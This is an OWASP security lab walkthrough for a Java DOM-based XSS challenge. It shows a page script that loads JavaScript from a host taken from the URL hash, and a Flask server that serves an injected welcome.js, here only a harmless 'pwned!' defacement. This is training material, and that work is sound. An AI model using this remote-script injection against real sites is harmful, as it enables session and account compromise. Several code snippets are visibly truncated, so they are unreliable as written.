Java - XSS-DOM-2

Running the app on Docker

$ sudo docker pull blabla1337/owasp-skf-lab:java-xss-dom2
$ sudo docker run -ti -p blabla1337/owasp-skf-lab:java-xss-dom2

Now that the app is running let's go hacking!


Step 1

The application shows no input field or anything else we can interact with. Let's inspect the source code.

Inspecting the source code of the application.

function loadWelcomeMessage() {
  setTimeout(function () {
    endpoint = location.hash.slice(5);
    var script = document.createElement("script");
    if (endpoint) {
      script.src = endpoint + "/js/welcome.js";
    } else {
      script.src = "/js/welcome.js";
  }, 2000);

We notice the application imports javascript files into the application using this function.

endpoint = location.hash.slice(5);

Declaring endpoint variable which takes the url, whatever is after the hash(#) and using slice to remove the first 4 characters after that. If the endpoint exists it will load the js file from there.


We can start building our malicious server and server the application with our malicious js file.

from flask import Flask

app = Flask(__name__, static_url_path='/static', static_folder='static')
app.config['DEBUG'] = True

def static_file(path):
    return app.send_static_file(path)

if __name__ == "__main__":'', port=1337)

Save the snippet above to > and run the commands below to install some dependencies. Of course you can also run your app on whatever service you want it does not have to be python flask.

$ pip3 install flask

Now we need to create our malicous js file, save the following snippet code into /static/js/welcome.js

document.getElementsByClassName("panel-body")[0].innerText = "pwned!";

We are ready to start our server:

$ python3

Now we can serve our malicious js file to the application

Additional sources

Please refer to the OWASP testing guide for a full complete description about cross site scripting!

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